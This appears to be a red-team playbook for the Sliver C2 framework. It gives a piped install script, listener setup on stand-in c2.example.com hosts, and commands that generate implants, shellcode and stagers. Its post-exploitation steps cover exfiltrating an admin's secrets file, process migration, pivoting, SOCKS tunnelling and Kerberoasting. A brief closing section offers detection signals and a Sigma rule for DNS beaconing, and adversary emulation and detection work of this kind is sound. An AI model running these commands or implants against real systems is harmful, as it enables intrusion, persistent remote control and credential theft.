name: building-c2-with-sliver
description: >-
Deploy and operate Sliver C2 framework for red team engagements. Covers implant
generation, listener configuration, mTLS/HTTP/DNS C2 channels, and pivoting.
domain: cybersecurity
subdomain: red-team
tags:
- c2
- sliver
- implant
- mtls
- beacon
- post-exploitation
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
mitre-attack: ["T1071.001", "T1573.002", "T1105"]
tools: ["sliver", "sliver-client", "armory"]
Building C2 with Sliver
Overview
Sliver is an open-source adversary emulation framework supporting mTLS, WireGuard,
HTTP(S), and DNS C2 channels with session (interactive) and beacon (async) modes.
Implants are unique per-generation with configurable obfuscation.
Prerequisites
- Sliver server on team server
- Network egress from target to C2 infrastructure
- TLS certificates for HTTPS C2
- DNS domain for DNS C2
curl https://sliver.sh/install | sudo bash
sliver-server
Key Concepts
Session vs Beacon
| Mode |
Behavior |
Use Case |
| Session |
Real-time interactive |
Active exploitation |
| Beacon |
Async check-in |
Long-term persistence |
C2 Channels
| Channel |
Port |
Stealth |
Reliability |
| mTLS |
8888 |
Medium |
High |
| HTTPS |
443 |
High |
High |
| DNS |
53 |
Highest |
Low bandwidth |
| WireGuard |
51820 |
Medium |
High |
Workflow
Step 1: Start Listeners
mtls --lhost 0.0.0.0 --lport 8888
https --domain c2.example.com --lport 443
dns --domains c2dns.example.com --lport 53
jobs
Step 2: Generate Implants
generate --mtls c2.example.com:8888 --os windows --arch amd64 --save implant.exe
generate beacon --http https://c2.example.com --os linux --seconds 30 --jitter 50
generate --format shellcode --save payload.bin
generate stager --lhost c2.example.com --lport 8443 --protocol tcp
Step 3: Post-Exploitation
sessions / beacons / use <SESSION_ID>
info / whoami / getuid / ps / netstat
download C:\Users\admin\secrets.txt
upload /tools/tool.exe C:\Temp\t.exe
migrate --pid 1234
pivots tcp --bind 0.0.0.0:9050
socks5 start
Step 4: Armory Extensions
armory install rubeus
armory install seatbelt
rubeus kerberoast
seatbelt -- -group=all
Detection Opportunities
| Signal |
Source |
Description |
| JA3/JA3S |
Network |
TLS fingerprint |
| DNS TXT volume |
DNS logs |
High volume to single domain |
| Named pipes |
Sysmon 17/18 |
Default pipe patterns |
title: Sliver C2 DNS Beaconing
id: d9e5f3a7-2b4c-46d1-a8f3-5e7b1c9d4a6f
status: experimental
description: High-volume DNS TXT queries to single domain
logsource:
category: dns_query
detection:
selection:
query_type: TXT
timeframe: 5m
condition: selection | count(query) by query_name > 50
falsepositives:
- DKIM/SPF verification
level: medium
tags:
- attack.command_and_control
- attack.t1071.004
Verification
References